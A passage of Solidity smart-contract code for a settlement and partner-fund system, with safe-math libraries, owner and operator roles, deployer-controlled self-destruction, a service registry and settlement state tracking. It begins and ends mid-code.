SafeMathIntLib { int256 constant INT256_MIN = int256((uint256(1) << 255)); int256 constant INT256_MAX = int256(~((uint256(1) << 255))); // //Functions below accept positive and negative integers and result must not overflow. // function div(int256 a, int256 b) internal pure returns (int256) { require(a != INT256_MIN || b != - 1); return a / b; } function mul(int256 a, int256 b) internal pure returns (int256) { require(a != - 1 || b != INT256_MIN); // overflow require(b != - 1 || a != INT256_MIN); // overflow int256 c = a * b; require((b == 0) || (c / b == a)); return c; } function sub(int256 a, int256 b) internal pure returns (int256) { require((b >= 0 && a - b <= a) || (b < 0 && a - b > a)); return a - b; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } // //Functions below only accept positive integers and result must be greater or equal to zero too. // function div_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b > 0); return a / b; } function mul_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a * b; require(a == 0 || c / a == b); require(c >= 0); return c; } function sub_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0 && b <= a); return a - b; } function add_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a + b; require(c >= a); return c; } // //Conversion and validation functions. // function abs(int256 a) public pure returns (int256) { return a < 0 ? neg(a) : a; } function neg(int256 a) public pure returns (int256) { return mul(a, - 1); } function toNonZeroInt256(uint256 a) public pure returns (int256) { require(a > 0 && a < (uint256(1) << 255)); return int256(a); } function toInt256(uint256 a) public pure returns (int256) { require(a >= 0 && a < (uint256(1) << 255)); return int256(a); } function toUInt256(int256 a) public pure returns (uint256) { require(a >= 0); return uint256(a); } function isNonZeroPositiveInt256(int256 a) public pure returns (bool) { return (a > 0); } function isPositiveInt256(int256 a) public pure returns (bool) { return (a >= 0); } function isNonZeroNegativeInt256(int256 a) public pure returns (bool) { return (a < 0); } function isNegativeInt256(int256 a) public pure returns (bool) { return (a <= 0); } // //Clamping functions. // function clamp(int256 a, int256 min, int256 max) public pure returns (int256) { if (a < min) return min; return (a > max) ? max : a; } function clampMin(int256 a, int256 min) public pure returns (int256) { return (a < min) ? min : a; } function clampMax(int256 a, int256 max) public pure returns (int256) { return (a > max) ? max : a; } } library SafeMathUintLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // //Clamping functions. // function clamp(uint256 a, uint256 min, uint256 max) public pure returns (uint256) { return (a > max) ? max : ((a < min) ? min : a); } function clampMin(uint256 a, uint256 min) public pure returns (uint256) { return (a < min) ? min : a; } function clampMax(uint256 a, uint256 max) public pure returns (uint256) { return (a > max) ? max : a; } } contract SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- bool public selfDestructionDisabled; // // Events // ----------------------------------------------------------------------------------------------------------------- event SelfDestructionDisabledEvent(address wallet); event TriggerSelfDestructionEvent(address wallet); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the address of the destructor role function destructor() public view returns (address); /// @notice Disable self-destruction of this contract /// @dev This operation can not be undone function disableSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Disable self-destruction selfDestructionDisabled = true; // Emit event emit SelfDestructionDisabledEvent(msg.sender); } /// @notice Destroy this contract function triggerSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Require that self-destruction has not been disabled require(!selfDestructionDisabled); // Emit event emit TriggerSelfDestructionEvent(msg.sender); // Self-destruct and reward destructor selfdestruct(msg.sender); } } contract Ownable is Modifiable, SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- address public deployer; address public operator; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetDeployerEvent(address oldDeployer, address newDeployer); event SetOperatorEvent(address oldOperator, address newOperator); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address _deployer) internal notNullOrThisAddress(_deployer) { deployer = _deployer; operator = _deployer; } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Return the address that is able to initiate self-destruction function destructor() public view returns (address) { return deployer; } /// @notice Set the deployer of this contract /// @param newDeployer The address of the new deployer function setDeployer(address newDeployer) public onlyDeployer notNullOrThisAddress(newDeployer) { if (newDeployer != deployer) { // Set new deployer address oldDeployer = deployer; deployer = newDeployer; // Emit event emit SetDeployerEvent(oldDeployer, newDeployer); } } /// @notice Set the operator of this contract /// @param newOperator The address of the new operator function setOperator(address newOperator) public onlyOperator notNullOrThisAddress(newOperator) { if (newOperator != operator) { // Set new operator address oldOperator = operator; operator = newOperator; // Emit event emit SetOperatorEvent(oldOperator, newOperator); } } /// @notice Gauge whether message sender is deployer or not /// @return true if msg.sender is deployer, else false function isDeployer() internal view returns (bool) { return msg.sender == deployer; } /// @notice Gauge whether message sender is operator or not /// @return true if msg.sender is operator, else false function isOperator() internal view returns (bool) { return msg.sender == operator; } /// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on /// on the other hand /// @return true if msg.sender is operator, else false function isDeployerOrOperator() internal view returns (bool) { return isDeployer() || isOperator(); } // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyDeployer() { require(isDeployer()); _; } modifier notDeployer() { require(!isDeployer()); _; } modifier onlyOperator() { require(isOperator()); _; } modifier notOperator() { require(!isOperator()); _; } modifier onlyDeployerOrOperator() { require(isDeployerOrOperator()); _; } modifier notDeployerOrOperator() { require(!isDeployerOrOperator()); _; } } contract Benefactor is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- address[] internal beneficiaries; mapping(address => uint256) internal beneficiaryIndexByAddress; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterBeneficiaryEvent(address beneficiary); event DeregisterBeneficiaryEvent(address beneficiary); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Register the given beneficiary /// @param beneficiary Address of beneficiary to be registered function registerBeneficiary(address beneficiary) public onlyDeployer notNullAddress(beneficiary) returns (bool) { if (beneficiaryIndexByAddress[beneficiary] > 0) return false; beneficiaries.push(beneficiary); beneficiaryIndexByAddress[beneficiary] = beneficiaries.length; // Emit event emit RegisterBeneficiaryEvent(beneficiary); return true; } /// @notice Deregister the given beneficiary /// @param beneficiary Address of beneficiary to be deregistered function deregisterBeneficiary(address beneficiary) public onlyDeployer notNullAddress(beneficiary) returns (bool) { if (beneficiaryIndexByAddress[beneficiary] == 0) return false; uint256 idx = beneficiaryIndexByAddress[beneficiary] - 1; if (idx < beneficiaries.length - 1) { // Remap the last item in the array to this index beneficiaries[idx] = beneficiaries[beneficiaries.length - 1]; beneficiaryIndexByAddress[beneficiaries[idx]] = idx + 1; } beneficiaries.length--; beneficiaryIndexByAddress[beneficiary] = 0; // Emit event emit DeregisterBeneficiaryEvent(beneficiary); return true; } /// @notice Gauge whether the given address is the one of a registered beneficiary /// @param beneficiary Address of beneficiary /// @return true if beneficiary is registered, else false function isRegisteredBeneficiary(address beneficiary) public view returns (bool) { return beneficiaryIndexByAddress[beneficiary] > 0; } /// @notice Get the count of registered beneficiaries /// @return The count of registered beneficiaries function registeredBeneficiariesCount() public view returns (uint256) { return beneficiaries.length; } } contract AccrualBenefactor is Benefactor { using SafeMathIntLib for int256; // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => int256) private _beneficiaryFractionMap; int256 public totalBeneficiaryFraction; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterAccrualBeneficiaryEvent(address beneficiary, int256 fraction); event DeregisterAccrualBeneficiaryEvent(address beneficiary); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Register the given beneficiary for the entirety fraction /// @param beneficiary Address of beneficiary to be registered function registerBeneficiary(address beneficiary) public onlyDeployer notNullAddress(beneficiary) returns (bool) { return registerFractionalBeneficiary(beneficiary, ConstantsLib.PARTS_PER()); } /// @notice Register the given beneficiary for the given fraction /// @param beneficiary Address of beneficiary to be registered /// @param fraction Fraction of benefits to be given function registerFractionalBeneficiary(address beneficiary, int256 fraction) public onlyDeployer notNullAddress(beneficiary) returns (bool) { require(fraction > 0); require(totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER()); if (!super.registerBeneficiary(beneficiary)) return false; _beneficiaryFractionMap[beneficiary] = fraction; totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction); // Emit event emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction); return true; } /// @notice Deregister the given beneficiary /// @param beneficiary Address of beneficiary to be deregistered function deregisterBeneficiary(address beneficiary) public onlyDeployer notNullAddress(beneficiary) returns (bool) { if (!super.deregisterBeneficiary(beneficiary)) return false; totalBeneficiaryFraction = totalBeneficiaryFraction.sub(_beneficiaryFractionMap[beneficiary]); _beneficiaryFractionMap[beneficiary] = 0; // Emit event emit DeregisterAccrualBeneficiaryEvent(beneficiary); return true; } /// @notice Get the fraction of benefits that is granted the given beneficiary /// @param beneficiary Address of beneficiary /// @return The beneficiary's fraction function beneficiaryFraction(address beneficiary) public view returns (int256) { return _beneficiaryFractionMap[beneficiary]; } } contract CommunityVotable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- CommunityVote public communityVote; bool public communityVoteFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote); event FreezeCommunityVoteEvent(); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the community vote contract /// @param newCommunityVote The (address of) CommunityVote contract instance function setCommunityVote(CommunityVote newCommunityVote) public onlyDeployer notNullAddress(newCommunityVote) notSameAddresses(newCommunityVote, communityVote) { require(!communityVoteFrozen); // Set new community vote CommunityVote oldCommunityVote = communityVote; communityVote = newCommunityVote; // Emit event emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote); } /// @notice Freeze the community vote from further updates /// @dev This operation can not be undone function freezeCommunityVote() public onlyDeployer { communityVoteFrozen = true; // Emit event emit FreezeCommunityVoteEvent(); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier communityVoteInitialized() { require(communityVote != address(0)); _; } } contract CommunityVote is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => bool) doubleSpenderByWallet; uint256 maxDriipNonce; uint256 maxNullNonce; bool dataAvailable; // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { dataAvailable = true; } // // Results functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the double spender status of given wallet /// @param wallet The wallet address for which to check double spender status /// @return true if wallet is double spender, false otherwise function isDoubleSpenderWallet(address wallet) public view returns (bool) { return doubleSpenderByWallet[wallet]; } /// @notice Get the max driip nonce to be accepted in settlements /// @return the max driip nonce function getMaxDriipNonce() public view returns (uint256) { return maxDriipNonce; } /// @notice Get the max null settlement nonce to be accepted in settlements /// @return the max driip nonce function getMaxNullNonce() public view returns (uint256) { return maxNullNonce; } /// @notice Get the data availability status /// @return true if data is available function isDataAvailable() public view returns (bool) { return dataAvailable; } } contract Servable is Ownable { // // Types // ----------------------------------------------------------------------------------------------------------------- struct ServiceInfo { bool registered; uint256 activationTimestamp; mapping(bytes32 => bool) actionsEnabledMap; bytes32[] actionsList; } // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => ServiceInfo) internal registeredServicesMap; uint256 public serviceActivationTimeout; // // Events // ----------------------------------------------------------------------------------------------------------------- event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds); event RegisterServiceEvent(address service); event RegisterServiceDeferredEvent(address service, uint256 timeout); event DeregisterServiceEvent(address service); event EnableServiceActionEvent(address service, string action); event DisableServiceActionEvent(address service, string action); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the service activation timeout /// @param timeoutInSeconds The set timeout in unit of seconds function setServiceActivationTimeout(uint256 timeoutInSeconds) public onlyDeployer { serviceActivationTimeout = timeoutInSeconds; // Emit event emit ServiceActivationTimeoutEvent(timeoutInSeconds); } /// @notice Register a service contract whose activation is immediate /// @param service The address of the service contract to be registered function registerService(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, 0); // Emit event emit RegisterServiceEvent(service); } /// @notice Register a service contract whose activation is deferred by the service activation timeout /// @param service The address of the service contract to be registered function registerServiceDeferred(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, serviceActivationTimeout); // Emit event emit RegisterServiceDeferredEvent(service, serviceActivationTimeout); } /// @notice Deregister a service contract /// @param service The address of the service contract to be deregistered function deregisterService(address service) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); registeredServicesMap[service].registered = false; // Emit event emit DeregisterServiceEvent(service); } /// @notice Enable a named action in an already registered service contract /// @param service The address of the registered service contract /// @param action The name of the action to be enabled function enableServiceAction(address service, string action) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); bytes32 actionHash = hashString(action); require(!registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = true; registeredServicesMap[service].actionsList.push(actionHash); // Emit event emit EnableServiceActionEvent(service, action); } /// @notice Enable a named action in a service contract /// @param service The address of the service contract /// @param action The name of the action to be disabled function disableServiceAction(address service, string action) public onlyDeployer notNullOrThisAddress(service) { bytes32 actionHash = hashString(action); require(registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = false; // Emit event emit DisableServiceActionEvent(service, action); } /// @notice Gauge whether a service contract is registered /// @param service The address of the service contract /// @return true if service is registered, else false function isRegisteredService(address service) public view returns (bool) { return registeredServicesMap[service].registered; } /// @notice Gauge whether a service contract is registered and active /// @param service The address of the service contract /// @return true if service is registered and activate, else false function isRegisteredActiveService(address service) public view returns (bool) { return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp; } /// @notice Gauge whether a service contract action is enabled which implies also registered and active /// @param service The address of the service contract /// @param action The name of action function isEnabledServiceAction(address service, string action) public view returns (bool) { bytes32 actionHash = hashString(action); return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash]; } // // Internal functions // ----------------------------------------------------------------------------------------------------------------- function hashString(string _string) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_string)); } // // Private functions // ----------------------------------------------------------------------------------------------------------------- function _registerService(address service, uint256 timeout) private { if (!registeredServicesMap[service].registered) { registeredServicesMap[service].registered = true; registeredServicesMap[service].activationTimestamp = block.timestamp + timeout; } } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyActiveService() { require(isRegisteredActiveService(msg.sender)); _; } modifier onlyEnabledServiceAction(string action) { require(isEnabledServiceAction(msg.sender, action)); _; } } contract DriipSettlementState is Ownable, Servable, CommunityVotable { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; // // Constants // ----------------------------------------------------------------------------------------------------------------- string constant public INIT_SETTLEMENT_ACTION = "init_settlement"; string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done"; string constant public SET_MAX_NONCE_ACTION = "set_max_nonce"; string constant public SET_MAX_DRIIP_NONCE_ACTION = "set_max_driip_nonce"; string constant public SET_FEE_TOTAL_ACTION = "set_fee_total"; // // Variables // ----------------------------------------------------------------------------------------------------------------- uint256 public maxDriipNonce; DriipSettlementTypesLib.Settlement[] public settlements; mapping(address => uint256[]) public walletSettlementIndices; mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex; mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce; mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap; // // Events // ----------------------------------------------------------------------------------------------------------------- event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement); event SetSettlementRoleDoneEvent(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done); event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency, uint256 maxNonce); event SetMaxDriipNonceEvent(uint256 maxDriipNonce); event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce); event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the count of settlements function settlementsCount() public view returns (uint256) { return settlements.length; } /// @notice Get the count of settlements for given wallet /// @param wallet The address for which to return settlement count /// @return count of settlements for the provided wallet function settlementsCountByWallet(address wallet) public view returns (uint256) { return walletSettlementIndices[wallet].length; } /// @notice Get settlement of given wallet and index /// @param wallet The address for which to return settlement /// @param index The wallet's settlement index /// @return settlement for the provided wallet and index function settlementByWalletAndIndex(address wallet, uint256 index) public view returns (DriipSettlementTypesLib.Settlement) { require(walletSettlementIndices[wallet].length > index); return settlements[walletSettlementIndices[wallet][index] - 1]; } /// @notice Get settlement of given wallet and wallet nonce /// @param wallet The address for which to return settlement /// @param nonce The wallet's nonce /// @return settlement for the provided wallet and index function settlementByWalletAndNonce(address wallet, uint256 nonce) public view returns (DriipSettlementTypesLib.Settlement) { require(0 < walletNonceSettlementIndex[wallet][nonce]); return settlements[walletNonceSettlementIndex[wallet][nonce] - 1]; } /// @notice Initialize settlement, i.e. create one if no such settlement exists /// for the double pair of wallets and nonces /// @param settledKind The kind of driip of the settlement /// @param settledHash The hash of driip of the settlement /// @param originWallet The address of the origin wallet /// @param originNonce The wallet nonce of the origin wallet /// @param targetWallet The address of the target wallet /// @param targetNonce The wallet nonce of the target wallet function initSettlement(string settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, address targetWallet, uint256 targetNonce) public onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION) { if ( 0 == walletNonceSettlementIndex[originWallet][originNonce] && 0 == walletNonceSettlementIndex[targetWallet][targetNonce] ) { // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; // Emit event emit InitSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } } /// @notice Gauge whether the settlement is done wrt the given settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return True if settlement is done for role, else false function isSettlementRoleDone(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Return done of settlement role if (DriipSettlementTypesLib.SettlementRole.Origin == settlementRole) return settlements[index - 1].origin.done; else // DriipSettlementTypesLib.SettlementRole.Target == settlementRole return settlements[index - 1].target.done; } /// @notice Set the done of the given settlement role in the given settlement /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @param done The done flag function setSettlementRoleDone(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done) public onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index); // Update the settlement role done value if (DriipSettlementTypesLib.SettlementRole.Origin == settlementRole) settlements[index - 1].origin.done = done; else // DriipSettlementTypesLib.SettlementRole.Target == settlementRole settlements[index - 1].target.done = done; // Emit event emit SetSettlementRoleDoneEvent(wallet, nonce, settlementRole, done); } /// @notice Set the max (driip) nonce /// @param _maxDriipNonce The max nonce function setMaxDriipNonce(uint256 _maxDriipNonce) public onlyEnabledServiceAction(SET_MAX_DRIIP_NONCE_ACTION) { maxDriipNonce = _maxDriipNonce; // Emit event emit SetMaxDriipNonceEvent(maxDriipNonce); } /// @notice Update the max driip nonce property from CommunityVote contract function updateMaxDriipNonceFromCommunityVote() public { uint256 _maxDriipNonce = communityVote.getMaxDriipNonce(); if (0 == _maxDriipNonce) return; maxDriipNonce = _maxDriipNonce; // Emit event emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce); } /// @notice Get the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @return The max nonce function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency) public view returns (uint256) { return walletCurrencyMaxNonce[wallet][currency.ct][currency.id]; } /// @notice Set the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @param maxNonce The max nonce function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency, uint256 maxNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { // Update max nonce value walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce; // Emit event emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce); } /// @notice Get the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param currency The concerned currency /// @return The total fee function totalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency) public view returns (MonetaryTypesLib.NoncedAmount) { return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id]; } /// @notice Set the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param _totalFee The total fee function setTotalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount _totalFee) public onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION) { // Update total fees value totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee; // Emit event emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee); } } contract TransferController { // // Events // ----------------------------------------------------------------------------------------------------------------- event CurrencyTransferred(address from, address to, uint256 value, address currencyCt, uint256 currencyId); // // Functions // ----------------------------------------------------------------------------------------------------------------- function isFungible() public view returns (bool); /// @notice MUST be called with DELEGATECALL function receive(address from, address to, uint256 value, address currencyCt, uint256 currencyId) public; /// @notice MUST be called with DELEGATECALL function approve(address to, uint256 value, address currencyCt, uint256 currencyId) public; /// @notice MUST be called with DELEGATECALL function dispatch(address from, address to, uint256 value, address currencyCt, uint256 currencyId) public; //---------------------------------------- function getReceiveSignature() public pure returns (bytes4) { return bytes4(keccak256("receive(address,address,uint256,address,uint256)")); } function getApproveSignature() public pure returns (bytes4) { return bytes4(keccak256("approve(address,uint256,address,uint256)")); } function getDispatchSignature() public pure returns (bytes4) { return bytes4(keccak256("dispatch(address,address,uint256,address,uint256)")); } } contract TransferControllerManageable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- TransferControllerManager public transferControllerManager; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetTransferControllerManagerEvent(TransferControllerManager oldTransferControllerManager, TransferControllerManager newTransferControllerManager); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the currency manager contract /// @param newTransferControllerManager The (address of) TransferControllerManager contract instance function setTransferControllerManager(TransferControllerManager newTransferControllerManager) public onlyDeployer notNullAddress(newTransferControllerManager) notSameAddresses(newTransferControllerManager, transferControllerManager) { //set new currency manager TransferControllerManager oldTransferControllerManager = transferControllerManager; transferControllerManager = newTransferControllerManager; // Emit event emit SetTransferControllerManagerEvent(oldTransferControllerManager, newTransferControllerManager); } /// @notice Get the transfer controller of the given currency contract address and standard function transferController(address currencyCt, string standard) internal view returns (TransferController) { return transferControllerManager.transferController(currencyCt, standard); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier transferControllerManagerInitialized() { require(transferControllerManager != address(0)); _; } } contract PartnerFund is Ownable, Beneficiary, TransferControllerManageable { using FungibleBalanceLib for FungibleBalanceLib.Balance; using TxHistoryLib for TxHistoryLib.TxHistory; using SafeMathIntLib for int256; using Strings for string; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Partner { bytes32 nameHash; uint256 fee; address wallet; uint256 index; bool operatorCanUpdate; bool partnerCanUpdate; FungibleBalanceLib.Balance active; FungibleBalanceLib.Balance staged; TxHistoryLib.TxHistory txHistory; FullBalanceHistory[] fullBalanceHistory; } struct FullBalanceHistory { uint256 listIndex; int256 balance; uint256 blockNumber; } // // Variables // ----------------------------------------------------------------------------------------------------------------- Partner[] private partners; mapping(bytes32 => uint256) private _indexByNameHash; mapping(address => uint256) private _indexByWallet; // // Events // ----------------------------------------------------------------------------------------------------------------- event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event RegisterPartnerByNameEvent(string name, uint256 fee, address wallet); event RegisterPartnerByNameHashEvent(bytes32 nameHash, uint256 fee, address wallet); event SetFeeByIndexEvent(uint256 index, uint256 oldFee, uint256 newFee); event SetFeeByNameEvent(string name, uint256 oldFee, uint256 newFee); event SetFeeByNameHashEvent(bytes32 nameHash, uint256 oldFee, uint256 newFee); event SetFeeByWalletEvent(address wallet, uint256 oldFee, uint256 newFee); event SetPartnerWalletByIndexEvent(uint256 index, address oldWallet, address newWallet); event SetPartnerWalletByNameEvent(string name, address oldWallet, address newWallet); event SetPartnerWalletByNameHashEvent(bytes32 nameHash, address oldWallet, address newWallet); event SetPartnerWalletByWalletEvent(address oldWallet, address newWallet); event StageEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event WithdrawEvent(address to, int256 amount, address currencyCt, uint256 currencyId); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Fallback function that deposits ethers function() public payable { _receiveEthersTo( indexByWallet(msg.sender) - 1, SafeMathIntLib.toNonZeroInt256(msg.value) ); } /// @notice Receive ethers to /// @param tag The tag of the concerned partner function receiveEthersTo(address tag, string) public payable { _receiveEthersTo( uint256(tag) - 1, SafeMathIntLib.toNonZeroInt256(msg.value) ); } /// @notice Receive tokens /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokens(string, int256 amount, address currencyCt, uint256 currencyId, string standard) public { _receiveTokensTo( indexByWallet(msg.sender) - 1, amount, currencyCt, currencyId, standard ); } /// @notice Receive tokens to /// @param tag The tag of the concerned partner /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokensTo(address tag, string, int256 amount, address currencyCt, uint256 currencyId, string standard) public { _receiveTokensTo( uint256(tag) - 1, amount, currencyCt, currencyId, standard ); } /// @notice Hash name /// @param name The name to be hashed /// @return The hash value function hashName(string name) public pure returns (bytes32) { return keccak256(abi.encodePacked(name.upper())); } /// @notice Get deposit by partner and deposit indices /// @param partnerIndex The index of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByIndices(uint256 partnerIndex, uint256 depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Require partner index is one of registered partner require(0 < partnerIndex && partnerIndex <= partners.length); return _depositByIndices(partnerIndex - 1, depositIndex); } /// @notice Get deposit by partner name and deposit indices /// @param name The name of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByName(string name, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner name is registered return _depositByIndices(indexByName(name) - 1, depositIndex); } /// @notice Get deposit by partner name hash and deposit indices /// @param nameHash The hashed name of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByNameHash(bytes32 nameHash, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner name hash is registered return _depositByIndices(indexByNameHash(nameHash) - 1, depositIndex); } /// @notice Get deposit by partner wallet and deposit indices /// @param wallet The wallet of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByWallet(address wallet, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner wallet is registered return _depositByIndices(indexByWallet(wallet) - 1, depositIndex); } /// @notice Get deposits count by partner index /// @param index The index of the concerned partner /// return The deposits count function depositsCountByIndex(uint256 index) public view returns (uint256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length); return _depositsCountByIndex(index - 1); } /// @notice Get deposits count by partner name /// @param name The name of the concerned partner /// return The deposits count function depositsCountByName(string name) public view returns (uint256) { // Implicitly require that partner name is registered return _depositsCountByIndex(indexByName(name) - 1); } /// @notice Get deposits count by partner name hash /// @param nameHash The hashed name of the concerned partner /// return The deposits count function depositsCountByNameHash(bytes32 nameHash) public view returns (uint256) { // Implicitly require that partner name hash is registered return 